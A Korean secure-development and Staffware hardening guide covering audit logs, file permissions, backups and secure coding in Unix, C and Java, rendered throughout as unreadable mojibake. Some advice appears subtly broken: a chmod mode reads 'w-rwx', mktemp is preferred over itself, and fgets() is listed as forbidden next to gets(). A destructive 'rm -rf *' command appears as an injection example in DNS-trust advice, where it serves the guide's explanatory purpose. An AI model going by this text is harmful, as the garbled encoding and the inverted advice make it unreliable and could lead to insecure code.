Staffware ¿î¿µ¿¡ ´ëÇÑ »ó¼¼ÇÑ °¨»ç ÁõÀûÀÌ °¡´ÉÇÏ´Ù.
- ¸ðµç ·Î±×ÆÄÀϵéÀº »ç¿ëÇã°¡ 0600À» °¡Áö°í ÁÖ±âÀûÀ¸·Î ¸ð´ÏÅ͵ǰí, º¸°ü ¹× °¡ÁöÄ¡±â µÇ¾î¾ß (pruned-¾µ¸ð¾ø´Â °Í ¹ö¸®±â) ÇÑ´Ù.
- À¯´Ð½º ½Ã½ºÅÛ ·Î±×¿¡¼´Â OLTP ¿î¿µ°ú °ü¸®¿¡ »ç¿ëµÇ´Â À¯´Ð½º °èÁ¤À¸·ÎÀÇ Á¢±Ù ½Ãµµ¿¡ ´ëÇÑ ±â·ÏÀ» ³²°Ü¾ß ÇÑ´Ù (e.g. syslogd ¸¦ ÅëÇØ).
- Staffware ¿¡·¯´Â $SWDIR/logs ¿¡ ÀÖ´Â sw_warn ³ª sw_error ÆÄÀÏ¿¡ ¾²¿©Áø´Ù.
Á¢±Ù ÅëÁ¦
- ÀϹÝÀûÀÎ Staffware º¸¾È ±â´É:
- ÀüÀÚ¼¸í »Ó ¾Æ´Ï¶ó ÆÐ½º¿öµåµµ ÀÛ¾÷ Ç÷οì & µ¥ÀÌŸ º¸È£¸¦ Á¦°ø.
- ÇÊµå º¸È£ °¡´É..
- Á¦ÇÑÀû Á¢±ÙÀÇ »ç¿ëÀÚ Æ¯Á¤ ¸Þ´º.
- Áß¾Ó µ¥ÀÌŸ Å×ÀÌºí¿¡ ´ëÇÑ Á¢±Ù ÅëÁ¦.
- ÇÁ·Î½ÃÁ®´Â Á¤ÀÇÇÑ »ç¶÷ÀÌ ¼ÒÀ¯.
- °ü¸®ÀÚ Á¢±ÙÀº ƯÁ¤ »ç¿ëÀÚ³ª ±×·ìÀ¸·Î Á¦ÇѵÊ.
- $SWDIR µð·ºÅ丮¿¡ ´ëÇØ ÆÄÀϰú µð·ºÅ丮 »ç¿ëÇã°¡°¡ °¢°¢ ¼³Á¤µÇ¾î¾ß ÇÑ´Ù. Áï,
chmod 700 ~$SWDIR
chmod -R w-rwx,g-rwx ~$SWDIR/*
chown -R root ~$SWDIR/*
- Staffware ¹é¾÷Àº $SWDIR ¿¡ ÀÖ´Â swdefs ÆÄÀÏ¿¡ ÀûÈù µð·ºÅ丮·Î ¼öÇàµÈ´Ù. ÀÌ µð·ºÅ丮´Â °ü¸®ÀÚ¸¸ ¼ÒÀ¯ÇØ¾ß ÇÏ°í ¸ðµç»ç¶÷ÀÌ ÀÐÀ» ¼ö À־ ¾ÈµÈ´Ù.
- À©µµ¿ì¿ë Staffware ¸¦ »ç¿ëÇÏ´Â °æ¿ì, ÆÄÀÏ »ç¿ëÇã°¡ °Ë»ç ·¹º§Àº ´ÙÀ½ Áß Çϳª·Î ÁöÁ¤µÇ¾î¾ß ÇÑ´Ù (¼³Ä¡µÇ´Â µ¿¾È):
- °Ë»ç ¾ÈÇÔ: ±Ç°íÇÏÁö ¾ÊÀ½!
- PC ´Â 666 À¸·Î ÆÄÀÏ »ý¼º. ±Ç°íÇÏÁö ¾ÊÀ½!
- PC ´Â ¿Ã¹Ù¸¥ »ç¿ëÀÚ¿Í ±×·ìÀÌ ¼ÒÀ¯Çϵµ·Ï ÆÄÀÏÀ» »ý¼ºÇÏ°í »ç¿ëÇã°¡ 660À» °¡Áöµµ·Ï ÇÔ. ¸ðµç Staffware »ç¿ëÀÚµéÀº ÇØ´ç ±×·ì¿¡ ¼ÓÇØ¾ß ÇÔ. ÀÌ ¿É¼ÇÀ» »ç¿ëÇÑ´Ù.
°´Ã¼ Àç»ç¿ë
N/A
¾ÈÀüÇÑ µ¥ÀÌŸ ±³È¯
Oracle °úÀÇ Åë½Å:
Staffware ´Â µ¥ÀÌŸ¸¦ Oracle Å×ÀÌºí¿¡ ÀúÀåÇϰí SQLÀ» ÅëÇØ Oracle°ú Åë½ÅÇÑ´Ù.
Staffware ´ÙÁß ³ëµå ±¸¼º:
Staffware ¼¹öµéÀº ¼¹öµé°£ÀÇ ÀÛ¾÷ Ç÷ο츦 Á¶Á¤Çϱâ À§ÇØ ¼·Î ¼·Î ´ëµîÇÏ°Ô Åë½ÅÇÒ ¼ö ÀÖ´Ù.
- ¸ðµç ³ëµåµéÀº µ¿µîÇÏ´Ù.
- °¢ ÇÁ·Î½ÃÁ®´Â ÇÁ·Î½ÃÁ®¿Í ±× Å×À̺íµéÀÌ »ý¼ºµÇ°í ÆíÁýµÇ¸ç ¹ßÇàµÈ ½ºÅܵéÀÌ º¸³»Áú ÁöÁ¤ È£½ºÆ®³ëµå¸¦ °¡Áö°í ÀÖ´Ù. ÀÌ ³ëµå´Â ±× ÇÁ·Î½ÃÁ®¿¡ °ü°èµÈ »ç¿ëÀÚ, ¿ªÇÒ, ¸®½ºÆ®¿Í Å×ÀÌºí ÆÄÀϵéÀÇ ¸¶½ºÅÍ º»À» °¡Áö°í ÀÖ´Ù. ±× ÇÁ·Î½ÃÁ®¿¡ Âü¿©ÇÏ´Â ´Ù¸¥ ¸ðµç ³ëµåµéÀº Á¾¼Ó ³ëµåµéÀÌ´Ù (±× ÇÁ·Î½ÃÁ®¿¡ °üÇÑ ÇÑ). ³ëµåµéÀº ¿µ±¸ÀûÀÎ ¹é±×¶ó¿îµå ÀÛ¾÷À» ÅëÇØ Åë½ÅÇÑ´Ù.
- Á¾¼Ó ³ëµåµéÀº ´ë°³ cronÀ¸·ÎºÎÅÍ Pstaddifc SENDDATA [slave node] [proc] ·Î °»½ÅµÈ´Ù (pushed). Á¾¼Ó ³ëµåµéÀº ¶ÇÇÑ Pstaddifc GETDATA [host node] [proc] ·Î Á¤º¸¸¦ pull ÇÒ ¼öµµ ÀÖ´Ù.
- V5 ´Â ´ÙÁß ³ëµå ±¸¼º¿¡¼ÀÇ Åë½ÅÀ» À§ÇØ À̸ÞÀÏÀ» »ç¿ëÇÑ´Ù. ÁÖµÈ °ü½É»ç´Â RPC Åë½Å¿¡ Àֱ⠶§¹®¿¡ À̰ÍÀº ¿©±â¿¡¼ ³íÀǵÇÁö ¾Ê´Â´Ù.
Åë½Å »ó´ë¹æ ÀÎÁõ
- À©µµ¿ì¿ë Staffware ¸¦ »ç¿ëÇÒ ¶§, À©µµ¿ì »ç¿ëÀÚµéÀº ¹Ýµå½Ã ÆÐ½º¿öµå¸¦ ÀÔ·ÂÇϵµ·Ï ¿ä±¸ÇØ¾ß ÇÑ´Ù (¼³Ä¡½Ã ÁöÁ¤µÊ).
- TBD: RPC ?
¹«°á¼º
µ¥ÀÌŸ Àü¼ÛÀÇ ¹«°á¼ºÀº TCP/IP¿Í RPC ¶Ç´Â À̸ÞÀÏ Àü¼Û¿¡ ÀÇÇØ º¸ÀåµÈ´Ù.
±â¹Ð¼º
ÆÐ½º¿öµå´Â clear text ·Î ³×Æ®¿÷À» ÅëÇØ Àü¼ÛµÈ´Ù.
¼Û/¼ö½Å ºÎÀÎ ¹æÁö
ÀüÀÚ ¼¸íÀº Áö¿øµÇÁö ¾Ê´Â´Ù.
°¡¿ë¼º
¹é¾÷
- Staffware ´Â ÄÉÀ̽º µ¥ÀÌŸ ÆÄÀϵéÀ» ¿Â¶óÀÎ µð·ºÅ丮·Î ¹é¾÷ÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù. ÀÌ µð·ºÅ丮´Â $SWDIR¿¡ ÀÖ´Â swdefs ¿¡ ÁöÁ¤µÇ¾î ÀÖ´Ù.
±×·¯¸é ½Ã½ºÅÛ ¹é¾÷ µµ±¸µéÀ» »ç¿ëÇÏ¿© ÀÌ µð·ºÅ丮¸¦ ¿ÀÇÁ¶óÀÎ ¸Åü·Î ¹é¾÷ÇÒ ¼ö ÀÖ´Ù.
- ¹é¾÷À̳ª º¹¿ø Áß¿¡´Â ¾î¶² »ç¿ëÀÚµµ Staffware ¿¡ ·Î±×ÀÎÇÒ ¼ö ¾ø´Ù (ÀúÀÚÀÇ ÀǰßÀ¸·Î´Â ÁÖµÈ Á¦¾à»çÇ×). export ±â´É (Å×À̺í, ¸®½ºÆ® ¹× ÇÁ·Î½ÃÁ®¿¡ ´ëÇÑ) µµ »ç¿ëÀÚ°¡ ¿Â¶óÀÎÀÏ ¶§´Â »ç¿ëÇÒ ¼ö ¾ø´Ù.
- Áõ·®Àû (incremental) ¹é¾÷Àº ºÒ°¡´ÉÇÏ´Ù.
- Staffware ¹é¾÷Àº ´Ù¸¥ ½Ã½ºÅÛÀ¸·Î º¹¿øµÉ ¼ö ¾ø´Ù (´ë½Å export ±â´ÉÀ» »ç¿ëÇÑ´Ù).
- °³ÀÎ »ç¿ëÀÚ´Â ÀÚ±â Ȩ µð·ºÅ丮 ¹ØÀÇ staff.dir/procdef.bak ¼ºê µð·ºÅ丮¿¡ ÀÚ½ÅÀÇ ÇÁ·Î½ÃÁ®µéÀ» ¹é¾÷ÇÒ ¼ö ÀÖ´Ù. swadmin »ç¿ëÀÚ´Â ¸ðµç ÇÁ·Î½ÃÁ®µéÀ» ¹é¾÷ÇÒ ¼ö ÀÖ´Ù.
Áߺ¹¼º (Redundancy)
¾ø´Ù?
EDI
Electronic Data Interchange (ÀüÀÚ ¹®¼ ±³È¯) Àº ¼ÛÀå, ÁÖ¹®¼ µîÀ» ÀüÀÚÀûÀ¸·Î ±³È¯ÇÏ´Â ¾÷¹«ÀÇ ÇÑ ¹æ¹ýÀÌ´Ù. ¿©·¯°¡Áö Ç¥ÁصéÀÌ ¸¹ÀÌ ÀÖ´Ù. º¸¾È À̽´µé¿¡ ´ëÇÑ »ó¼¼ÇÑ ³íÀÇ´Â Swisscom ÀÇ ±â¼ú ÀâÁö "Telecom PTT Technische Mitteilungen 2-1994" ¿¡ ÀÖ´Â Orla Greevy (mailto:greevy_o@vptt.ch)ÀÇ "Security and EDI"¸¦ Âü°íÇϱ⠹ٶõ´Ù.
¾ÈÀüÇÑ ¾îÇø®ÄÉÀÌ¼Ç °³¹ß
- ¿Ã¹Ù¸¥ ¿£Áö´Ï¾î¸µ:
- ÀÛ¾÷À» ¹®¼È ÇÑ´Ù. ¿¹¸¦ µé¾î ¾îÇø®ÄÉÀÌ¼Ç ±¸Á¶ ¹× ±¸¼º¿ä¼Ò, µ¥ÀÌŸÈ帧, À̺¥Æ® ¸ðµ¨, ±¸¼º¿ä¼Òµé °£ÀÇ Á¾¼Ó¼º, ¿ÜºÎ ±¸¼º¿ä¼Ò¿¡ ´ëÇÑ Á¾¼Ó¼º (¶óÀ̺귯¸®, include ÆÄÀÏ, HTML ÆäÀÌÁö, µ¥ÀÌŸº£À̽º µîµî), ÆÄÀÏ: ·Î±ë/Æ÷¸Ë/»ç¿ëÇã°¡/°æÀï»óÅÂ, Åë½Å ä³Î/ÇÁ·ÎÅäÄÝ »ç¿ë (À̸ÞÀÏ, X.25, ÅÚ³Ý, ftp, ¼ÒÄÏ, IPC,...)
- °ú¾÷À» ¼öÇàÇϱâ À§ÇØ ÇÊ¿äÇÑ ÃÖ¼ÒÇÑÀÇ ±ÇÇѸ¸À» »ç¿ëÇÑ´Ù.
- °ú¾÷À» ¼öÇàÇϱâ À§ÇØ ÇÊ¿äÇÑ ÃÖ¼ÒÇÑÀÇ ±â´É¸¸À» »ç¿ëÇÑ´Ù.
- ¹öÆÛ ¿À¹ö·±, ÆÄÀÏ °æÀï»óÅÂ, »ç¿ëÀÚ ÀÔ·ÂÀÇ È®ÀÎ µî °íÀüÀûÀÎ º¸¾È ¹®Á¦µéÀ» °í·ÁÇÑ´Ù.
- Àç°ËÅä: Äڵ尡 ÀÔÁõµÆ°Å³ª peer review ¿¡ ȸºÎµÇ¾ú´Â°¡, ƯÈ÷ Äڵ尡 ³×Æ®¿÷ ¼ºñ½º, SUID ·Î ¶Ç´Â Ưº°ÇÑ ±ÇÇÑ (°ü¸®ÀÚ/root) À» °¡Áö°í ¼öÇàµÇ´Â °æ¿ì. °ËÅäÀÚµéÀÌ Àڱ⠺о߸¦ Á¤¸» ¾Ë°í ÀÖ´Â ¼÷·ÃÀÚ/Àü¹®°¡ÀÎÁö È®ÀÎÇ϶ó.
- Å×½ºÆ® ¼ÒÇÁÆ®¿þ¾î :»ç¿ë·®, ¹öÆÛ ¿À¹öÇ÷οì, ¸Þ¸ð¸® ´©Ãâ, ¸í·ÉÁÙ ¸Å°³º¯¼ö, ȯ°æº¯¼ö, ¿¹±âÄ¡¾ÊÀº (¶Ç Å«) ÀÔ·Â.
- ½ºÅ¸ÀÏ:
- ´Ü¼øÇÏ°Ô (¹Ùº¸°°ÀÌ) Ç϶ó! (KISS: Keep It Simple and Stupid). ¾µ ÁÙ ¾È´Ù´Â ÀÌÀ¯¸¸À¸·Î ¾ð¾îÀÇ »ö´Ù¸¥ ±â´ÉµéÀ» »ç¿ëÇÏÁö ¸»¶ó.
- ¸íÈ®¼ºÀ» À§ÇØ °ýÈ£¸¦ »ç¿ëÇÑ´Ù. ¿¬»ê ¿ì¼±¼øÀ§¿¡ ÀÇÁ¸ÇÏÁö ¾Ê´Â´Ù - ÀǽÉÀÌ °¥ ¶© °ýÈ£¸¦ ¾´´Ù.
- ½º½º·Î ÁÖ¼®ÀÌ µÇ´Â º¯¼ö & ÇÔ¼ö À̸§µéÀ» »ç¿ëÇÑ´Ù.
- µ¶¸³º¯¼ö(arguments)¸¦ ¼ºê·çƾ ¸Å°³º¯¼ö·Î Àü´ÞÇÑ´Ù (Àü¿ª[global] º¯¼ö¸¦ »ç¿ëÇϱ⠺¸´Ù´Â). ±×·¯³ª À̸¦ ±Ø´ÜÀûÀ¸·Î ÃëÇÏÁö´Â ¾Êµµ·Ï ÇÑ´Ù, Àü¿ª º¯¼öµµ À¯¿ëÇÒ ¼ö ÀÖ´Ù.
- ½Ç¿ëÀûÀÎ ÁÖ¼®µéÀ» ³Ö´Â´Ù, ƯÈ÷ Äڵ尡 º¹ÀâÇϰųª ¾Ö¸ÅÇÒ ¶§.
- main() À» ÀÛ°Ô À¯ÁöÇÑ´Ù (ÇÑ ÆäÀÌÁö).
- °áÁ¤ÀûÀÎ ÄÚµå ºÎºÐÀº ÀÛ°í, ´Ü¼øÇÏ°í ºÐ¸®µÇ¾î À¯ÁöµÇ¾î¾ß ÇÑ´Ù.
- ÄÚµå ¾È¿¡ Àý´ë ºñ¹Ð ¹éµµ¾î¸¦ ³ÖÁö ¾Êµµ·Ï ÇÑ´Ù. ¿À·§µ¿¾È ºñ¹Ð·Î ÀÖÁö´Â ¾ÊÀ» °ÍÀÌ´Ù.
- ÆÄÀÏ & ³×Æ®¿÷ I/O:
- ´Ù ¾´ ÈÄ¿¡´Â ¿·Á ÀÖ´Â ÆÄÀϵéÀ» ´Ý´Â´Ù.
- ƯÈ÷ ÆÄÀÏÀ» Àá±Û ¶§, open()À̳ª unlink() °°Àº Áß¿äÇÑ ÇÔ¼öÀÇ ¸®ÅϰªÀ» Ç×»ó °Ë»çÇÑ´Ù. ÆÄÀÏ¿¡ ¾µ¶§, µð½ºÅ©°¡ ²Ë áÀ¸¸é OS°¡ ±× ÆÄÀÏÀ» Àý´ÜÇÒ ¼ö ÀÖ´Ù: ¸®ÅϰªÀ» °Ë»çÇÑ´Ù.
- ÆÄÀÏ Àá±×±â: ´ÙÁß ÀνºÅϽº/¾²·¹µå/ÇÁ·Î¼¼½º°¡ »ç¿ëÇÒ °¡´É¼ºÀÌ ÀÖ´Â ÆÄÀϵéÀº Àá±×°í °¡´ÉÇÑÇÑ Ãִܽ𣵿¾È Àá±Ù´Ù.
- ÀڱⰡ ¿Ã¹Ù¸¥ µð·ºÅ丮¿¡ ÀÖ´Ù°í °¡Á¤ÇÏÁö ¾Êµµ·Ï ÇÑ´Ù - ¿Ã¹Ù¸¥ µð·ºÅ丮·Î ¸í¹éÇÏ°Ô chdir() ÇÑ´Ù.
- ÀÚ¿ø Àá½Ä°ú ÇÁ·Î¼¼½º Á¤Ã¼¸¦ ÇÇÇϱâ À§ÇØ, ³×Æ®¿÷ µ¥ÀÌŸ¸¦ Àü¼ÛÇÒ ¶§¿Í ±â´Ù¸± ¶§ ½Ã°£Á¦ÇÑÀ» µÐ´Ù.
- 1000 º¸´Ù ÀÛÀº Æ÷Æ® ¹øÈ£¸¦ ´õÀÌ»ó ½Å·ÚÇÏÁö ¾Êµµ·Ï ÇÑ´Ù.
- ¼Û½Å IP ÁÖ¼Ò°¡ ¿Ã¹Ù¸£´Ù°í °¡Á¤ÇÏÁö ¾Ê´Â´Ù.
- ¾²·¹µå & ÇÁ·Î¼¼½º:
- ¸®ÅϰªÀ» °Ë»çÇÑ´Ù.
- µ¥µå¶ôÀ» ã´Â´Ù.
- ´ÙÁß ¾²·¹µå°¡ °¡Àº º¯¼ö¸¦ Àаųª ¾µ ¶§ÀÇ °á°ú¸¦ »ý°¢Çغ»´Ù: µ¿±âÈ, ¼ø¹øÁ¤Çϱâ, Àá±Ý, °¡½Ã¼º.
- ´ÜÀÏÇÁ·Î¼¼½º¿¡¼µµ °æÀï »óÅ (race condition) ¸¦ ã¾Æº»´Ù.
- ¼ºê ÇÁ·Î¼¼½º¸¦ È£ÃâÇϱâ Àü¿¡ ȯ°æÀ» Á¤¸®ÇÑ´Ù.
- ÈüÀ» ½ÅÁßÇÏ°Ô °ü¸®ÇÑ´Ù.
- ¹®¼: ¾îÇø®ÄÉÀÌ¼Ç ±¸Á¶¿Í ±¸¼º¿ä¼Ò, µ¥ÀÌŸÈ帧, À̺¥Æ® ¸ðµ¨, ±¸¼º¿ä¼Òµé °£ÀÇ Á¾¼Ó¼º, ¿ÜºÎ ±¸¼º¿ä¼Ò¿¡ ´ëÇÑ Á¾¼Ó¼º (¶óÀ̺귯¸®, include ÆÄÀÏ, HTML ÆäÀÌÁö. µ¥ÀÌŸº£À̽º, µîµî), ·Î±ë ÆÄÀϰú Çü½Ä (ÆÄÀÏ Àá±Ý?), Åë½Å ä³Î/ÇÁ·ÎÅäÄÝ »ç¿ë (email, X.25, telnet, ftp, sockets, IPC, ...)
- º¸¾È:
- »ç¿ëÀÚ À̸§°ú ÆÐ½º¿öµå¸¦ clear text ·Î º¸³»Áö ¾Ê´Â´Ù.
- ¾ÏÈ£È:
- PGP³ª 3DES, IDEA µîµîÀÇ »ç¿ëÀ» °í·ÁÇÑ´Ù, ±×·¯³ª XOR (¶Ç´Â ´Ù¸¥ ½Ã½ÃÇÑ ¾Ë°í¸®µë) Àº ¾Æ´Ï´Ù .
- MD5 °°Àº ÇØ½Ã ¾Ë°í¸®µëÀº ÇÑÂÊÀÌ »ç¿ëÀÚÀ̸§°ú ÆÐ½º¿öµåÀÇ »çº»À» °¡Áö°í ÀÖ°í ´Ù¸¥ Âʵµ ±×°ÍÀ» °¡Áö°í ÀÖ´Ù´Â °ÍÀ» È®ÀÎÇϰíÀÚ ÇÏ´Â °æ¿ì »ç¿ëµÉ ¼ö ÀÖ´Ù. À̰ÍÀº ±×·¯³ª Àç»ý °ø°ÝÀ̳ª À§ÀåÀÇ ¹®Á¦¸¦ ÇØ°áÇÏÁö´Â ¸øÇÑ´Ù (±× ¹®Á¦¿¡ ´ëÇØ¼´Â ½Ã°£ÀÌ ÂïÈù µ¥ÀÌŸ¿¡ ¼¸íÇÏ´Â °ÍÀÌ ÇØ¹ýÀÌ´Ù).
- ¾ÏȣȵÇÁö ¾ÊÀº ÆÐ½º¿öµå¸¦ ¸Þ¸ð¸®¿¡ µÎÁö ¸»°í, ÇÊ¿äÄ¡ ¾ÊÀ» ¶§´Â ¹è¿À» ºñ¿î´Ù, ¾È±×·¯¸é coredump ¶§ º¸ÀÏ ¼ö ÀÖ´Ù.
- ÇÊ¿äÇÒ ¶§´Â ¹®ÀÚ¿ Å©±â¸¦ °Ë»çÇÑ´Ù (´Ù¸¥ ¹è¿ ¿À¹öÇ÷ο쵵).
- ȯ°æ º¯¼ö¿Í ¸í·ÉÁÙ º¯¼ö (arguments) ´Â »ç¿ëÀü¿¡ ±ú²ýÀÌ ÇÑ´Ù.
- DNS¸¦ ³Ê¹« ¹ÏÁö ¾Ê´Â´Ù. DNS lookup ÀÌ rm -rf * À̶ó´Â È£½ºÆ®¸¦ ¸®ÅÏÇßÀ» ¶§ ÀÚ±â ÇÁ·Î±×·¥¿¡ ¾î¶² ÀÏÀÌ ¹ß»ýÇÒ Áö¸¦ »ó»óÇØ º¸¶ó.
- µ¿Àû ¶óÀ̺귯¸® »ç¿ëÀÌ º¸¾È¿¡ ¹ÌÄ¡´Â È¿°ú¸¦ »ý°¢ÇØ º»´Ù. ¹Î°¨ÇÑ µ¥ÀÌŸ¸¦ ´Ù·ç´Â ÇÁ·Î±×·¥¿¡ ´ëÇØ¼´Â µ¿Àû ·ÎµùÀ» ÇÇÇÑ´Ù..
- ÇÁ·Î¼¼½º/ÆÄÀÏ¿¡ ÇÊ¿äÇÑ ÃÖ¼ÒÇÑÀÇ ±ÇÇѸ¸À» ÁØ´Ù.
- ¾îÇø®ÄÉÀÌ¼Ç À̺¥Æ®µéÀÇ ·Î±×¸¦ »ý¼ºÇÑ´Ù: e.g. ³¯Â¥, ½Ã°£, UID, GID (& eff. UID, GID), Å͹̳Î/ÄÄÇ»ÅÍ/IP ÁÖ¼Ò, »ç¿ëÀÚ À̸§, PID, ¿¡·¯ ¹øÈ£/ÅØ½ºÆ®. Ç÷§Æû¿¡ ¸Â´Â ·Î±× Çü½ÄÀ» »ç¿ëÇÑ´Ù (e.g. syslog, NT event log). ¼·Î ´Ù¸¥ ·¹º§ÀÇ ·Î±ëÀ» ¼³Á¤ÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù.
À¯´Ð½º ¾îÇø®ÄÉÀÌ¼Ç °³¹ß
[unix1] °ú À¯´Ð½º Àå µµ Âü°íÇÑ´Ù.
- ÆÄÀÏÀ» ¿±â Àü¿¡ umask ¸¦ ¼³Á¤ÇÑ´Ù
- Ç×»ó ¸í½ÃÀûÀ¸·Î IFS ¿Í PATH ¸¦ ¼³Á¤ÇÑ´Ù
- SUID & SGID ÇÁ·Î±×·¥µéÀ» ÇÇÇÑ´Ù, ƯÈ÷ SUID root. SUID °¡ Á¤¸» ÇÊ¿äÇÏ´Ù¸é,
- Àý´ë SUID ³ª SGID ½© ½ºÅ©¸³Æ®¸¦ ÀÛ¼ºÇÏÁö ¸»¶ó. ÀÌÁøÆÄÀÏ (e.g. ÄÄÆÄÀÏµÈ ÇÁ·Î±×·¥)À» »ç¿ëÇÑ´Ù. ½© ½ºÅ©¸³Æ®°¡ ÀÎÅÍ·´Æ®¸¦ ºÒ°¡´ÉÇÏ°Ô ÇÑ´Ù°í ÇÏ´õ¶óµµ, ¾ÈÀüÇÏÁö´Â ¾Ê´Ù.
- °¡´ÉÇÑÇÑ ´Ü¼øÇϰí ÀÛ°Ô, ¹Ýµå½Ã SUID À̾î¾ß¸¸ ÇÏ´Â ¸í·Éµé¸¸À» °¡Áö°í ¼ºêÇÁ·Î±×·¥À» ¸¸µç´Ù. Àüü ¾îÇø®ÄÉÀ̼ÇÀÌ ¾Æ´Ñ À̰͸¸À» SUID·Î ÇÑ´Ù.
- SUID ÇÁ·Î±×·¥Àº ´©±¸³ª ½ÇÇà°¡´ÉÇÒ ¼ö´Â ÀÖÁö¸¸, ´©±¸³ª ÀÐÀ» ¼ö À־ ¾ÈµÈ´Ù. ¿³º¸´Â ½Ã¼±µé·ÎºÎÅÍ º¸È£µÇ¾î¾ß ÇÑ´Ù.
- À¯È¿(effective) UID ¸¦ °¡´ÉÇÑÇÑ »¡¸® º¹¿ø(reset)ÇÑ´Ù.
- ÀÎÅÍ·´Æ®¸¦ »ç¿ëÇÒ ¼ö ¾ø°Ô Çϰųª Çڵ鷯¸¦ ºÙ¿©¾ß ÇÑ´Ù.
- Ãß°¡ÀûÀÎ º¸È£¸¦ À§ÇØ chroot() ¸¦ »ç¿ëÇÑ´Ù (±×¸®°í ¸®ÅϰªÀ» °Ë»çÇÑ´Ù!).
- core ÆÄÀÏ Å©±â¸¦ Á¶Á¤Çϱâ À§ÇÑ (csh) ÇѰ谪À» Á¤ÇÑ´Ù.
- ¹Î°¨ÇÑ Àӽà ÆÄÀÏÀÌ ÇÊ¿äÇϸé, À̸¦ »ý¼ºÇϰí, Àбâ-¾²±â¸¦ ¿°í, »èÁ¦Çϰí (unlink()¸¦ ÅëÇØ), ±×·±´ÙÀ½¿¡ µ¥ÀÌŸ¸¦ ¾²°í, µ¥ÀÌŸ¸¦ ÀÐ°í ÆÄÀÏÀ» ´Ý´Â´Ù. ÆÄÀÏÀº ÆÄÀϽýºÅÛÀ» »ç¿ëÇÏ´Â ´Ù¸¥ ÇÁ·Î¼¼½ºµé (ps °°Àº) ¿¡°Ô´Â º¸ÀÌÁö ¾ÊÁö¸¸, ¼û°ÜÁø °ø°£À» Â÷ÁöÇÑ´Ù. ÇÁ·Î±×·¥ÀÌ Á¾·áÇÒ ¶§, ÆÄÀÏÀº OS¿¡ ÀÇÇØ ÁøÂ¥·Î Áö¿öÁø´Ù. °æÀï Çö»ó (race condition)Àº ¾ø´Ù.
- *mktemp() º¸´Ù´Â, °æÀï Çö»óÀÌ ÀϾ °¡´É¼ºÀÌ ÀûÀº mktemp() ¸¦ »ç¿ëÇÑ´Ù.
- °æ·Î(path) °Ë»öÀ» Çã¿ëÇÏ´Â execlp() ³ª execvp() °°Àº ½Ã½ºÅÛ È£ÃâÀº »ç¿ëÇÏÁö ¾Ê´Â´Ù.
- °¡´ÉÇÏ¸é ½©À» ¿©´Â °Í (Áï popen() °ú system() À¸·Î) Àº ÇÇÇØ¾ß ÇÑ´Ù. ²À ÇÊ¿äÇÏ´Ù¸é, ¸í·É¾îÀÇ Àý´ë °æ·Î¸¦ »ç¿ëÇϰí ȯ°æº¯¼öµéÀÌ ¿Ã¹Ù¸£°Ô ¼³Á¤µÇ¾ú´ÂÁö °Ë»çÇÑ´Ù (IFS¿Í °°Àº º¯¼ö¿¡ ´ëÇÑ °¡Á¤Àº ¾ø¾î¾ß ÇÑ´Ù).
- ÇÊ¿äÇÑ °æ¿ì ÀÎÅÍ·´Æ®¸¦ ºÒ°¡´ÉÇÏ°Ô ÇÑ´Ù (e.g. »ç¿ëÀÚ°¡ ÇÁ·Î±×·¥À» ¹é±×¶ó¿îµå·Î µ¹¸®Áö ¸øÇÏ°Ô ÇÑ´Ù)
- »õ·Î¿î ÆÄÀÏÀ» »ý¼ºÇÒ ¶§, lstat() °ú ¸µÅ©µÇÁö ¾Ê¾Ò´ÂÁö È®ÀÎÇÏ°í ÆÄÀÏÀÌ ÀÌ¹Ì Á¸ÀçÇÏ´ÂÁö °Ë»çÇϱâ À§ÇØ O_EXCL & O_CREAT Ç÷¡±×¸¦ »ç¿ëÇÑ´Ù.
New: http://www.sunworld.com/swol-08-1998/swol-08-security.html?080198a µµ Âü°íÇÑ´Ù. (À§ÀÇ °Í°ú ºñ±³ÇÏÁö´Â ¾Ê¾ÒÁö¸¸, ÁÁÀº ¼Ò½º·ÎºÎÅÍ °¡Á®¿Ô´Ù..) Local »çº».
°³¹ß ¾ð¾î
Cº¸´Ù´Â ÀÚ¹Ù (¶Ç´Â Ada) ¿Í °°ÀÌ º¸¾ÈÀ» ÀǽÄÇÑ ¾ð¾î¸¦ »ç¿ëÇÑ´Ù. ¸¶Âù°¡Áö·Î perl º¸´Ù´Â tainted perl À» »ç¿ëÇÑ´Ù. ÇÁ·Î±×·¥¿¡¼ ´ëºÎºÐÀÇ ½ÇÁ¦ º¸¾È Ãë¾àÁ¡Àº
a) À߸øµÈ ¼³°è (ÆÐ½º¿öµå¸¦ clear text ·Î º¸³½´ÙµçÁö) ¶Ç´Â b) À߸øµÈ ÇÁ·Î±×·¡¹ÖÀÌ´Ù. (e.g. string/stack/array overflows, wild pointers, race conditions)
ÀÚ¹Ù ±Ç°í»çÇ×:
- ¿¹¿Ü (exception) ¸¦ ÀâÀ¸¸é (catch), ¹«½ÃÇÏÁö ¸»µµ·Ï ÇÑ´Ù.
- try {} catch {} finally {} ¸¦ ³Î¸® »ç¿ëÇÑ´Ù.
- Baltimore ´Â ±º»ç±ÞÀÇ °µµ¸¦ °¡Áö´Â ¾ÏÈ£È, ÇØ½Ì ¹× ÀÎÁõ¼ °ü¸®¸¦ ±¸ÇöÇÑ J/Crypto ¶ó´Â ¼ø¼ö ÀÚ¹Ù ¶óÀ̺귯¸®¸¦ Á¦°øÇÑ´Ù. ¹Ì±¹ ¼öÃâ±ÔÁ¦¸¦ ¹ÞÁö ¾Ê´Â´Ù. ÀúÀÚ´Â ¾ÈÀüÇÑ Applet-Proxy-Server Åë½ÅÀ» À§ÇØ V3¸¦ »ç¿ëÇØ º¸¾Ò´Ù.
- ÇÁ·ÎÁ§Æ®¹®¼ÀÇ ÅëÇÕ ºÎºÐÀ¸·Î¼ ù°³¯ºÎÅÍ Javadoc À» »ç¿ëÇÑ´Ù.
C++:
- ´ÙÁß »ó¼ÓÀ» Áö¾çÇÑ´Ù (Áï À§ÀÇ "KISS" ¿øÄ¢À» ÂüÁ¶).
- ¾Æ·¡ÀÇ 'C' ºÎºÐµµ º»´Ù.
C ±Ç°í»çÇ×:
- ¹®ÀÚ¿°ú ¹è¿ ±æÀ̸¦ °Ë»çÇÑ´Ù!
- ¹öÆÛ ¹üÀ§¸¦ °Ë»çÇÏÁö ¾Ê´Â ·çƾÀ» »ç¿ëÇÏÁö ¾Ê´Â´Ù.
- fgets() ¸¦ »ç¿ëÇÏÁö ¸»°í Àý´ë gets() ´Â »ç¿ëÇÏÁö ¾Ê´Â´Ù.
- sprintf() ¸»°í snprintf() ¸¦ »ç¿ëÇÑ´Ù.
